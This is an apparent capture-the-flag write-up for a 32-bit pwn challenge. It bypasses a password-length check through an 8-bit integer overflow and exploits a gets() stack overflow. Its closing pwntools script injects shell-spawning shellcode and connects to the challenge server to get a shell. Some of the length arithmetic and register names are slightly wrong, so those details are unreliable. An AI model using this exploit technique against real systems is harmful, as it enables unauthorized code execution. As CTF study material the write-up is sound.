Skip to main content

TSCTF-J_2021 Pwn - Int_Or_Char WriteUp

· 4 min read
Muel - Nova
Anime Would PWN This WORLD into 2D

Problem

Preliminary Determination of Ideas

Using checksec to check the file, it is found that NX and PIE are not enabled, so consider ret2text and ret2shellcode preliminarily.

checksec

Code Analysis

Let's jump directly to the pwn() function.

int pwn()
{
char s[50]; // [esp+Dh] [ebp-3Bh] BYREF
unsigned __int8 v2; // [esp+3Fh] [ebp-9h]

puts("Plz input ur passwd:");
puts("Tip: The passwd length needs to be between 4 and 8 characters");
gets(s);
v2 = strlen(s);
return check(v2, s);
}

Noticing that gets(s) does not limit the length, a stack overflow could be exploited here.

Moving to the check(v2, s) function.

char *__cdecl check(int a1, char *src)
{
if ((unsigned __int8)a1 <= 3u || (unsigned __int8)a1 > 8u)
{
puts("So bad!");
puts("The passwd length needs to be between 4 and 8 characters");
exit(0);
}
puts("good length!");
return strcpy(passwd_buf, src);
}

Here, we are required to have a length a1 > 3 && a1 <= 8. If so, we cannot construct the desired payload. In this case, we can refer to the write-up of Int_Overflow from Attacking & Defending World, which mentions an integer overflow vulnerability.

A simple example in C language:

For a 2-byte unsigned short int variable, when its data length exceeds 2 bytes, it will overflow, and only the last two bytes of data will be used.

int main()
{
unsigned short int var1 = 1, var2 = 257;
if (var1 == var2)
{
printf("overflow");
}
return 0;
}
Out:
overflow

Returning to our problem, our v2 is an unsigned __int8 variable, meaning its value range is from 0 to 255. If we pass a data length of 256, the value of v2 actually becomes 1 (255 + 1), so the length we pass can be from (255+4) to (255+8), which is 259-263 characters.

With the character length check bypassed, what should we do next to exploit this vulnerability?

char *strcpy(char *dest, const char *src);

This is the prototype of strcpy, which means the content of src will be copied to the address of dest, that is, the location of passwd_buf in the problem.

We take a look at the stack here.

Mark's explanation from the image reveals that due to NX not being enabled, our buffer is executable, giving us the condition to use a shellcode. As we do not have any system call functions in place, we must craft our own shellcode.

from pwn import *

context(os='linux', arch='i386', log_level='debug') # Specify the target as a 32-bit system

shellcode = asm(shellcraft.sh()) # Generate shellcode
buf_addr = 0x804A060 # Address of buf

payload = shellcode.ljust(0x3b, b'A') + b'A'*4 + p32(buf_addr) # Align shellcode to the bottom of the stack, add 4 bytes of data to overwrite rbp, then add p32(buf_addr) to jump to buf_addr for execution, which is our shellcode
payload = payload + b'A'*(262-len(payload)) # Pad the payload to exploit the integer overflow vulnerability

p = remote("45.82.79.42", 11001)

p.recvuntil("characters")
p.sendline(payload)
p.interactive()
# At this point, the shell is obtained, and the subsequent steps are self-explanatory

The server had already been shutdown before the writing of this WriteUp, so the post-shell-taking process could not be demonstrated.

Personal Summary

Though the implementation of the integer overflow was relatively quick, it took quite a while to figure out how to run the shellcode (due to the need to overwrite rbp after reaching the bottom of the stack, which I completely didn't understand before).

Pwn is indeed fascinating.

References

ret2shellcode

Mark

Loading Comments...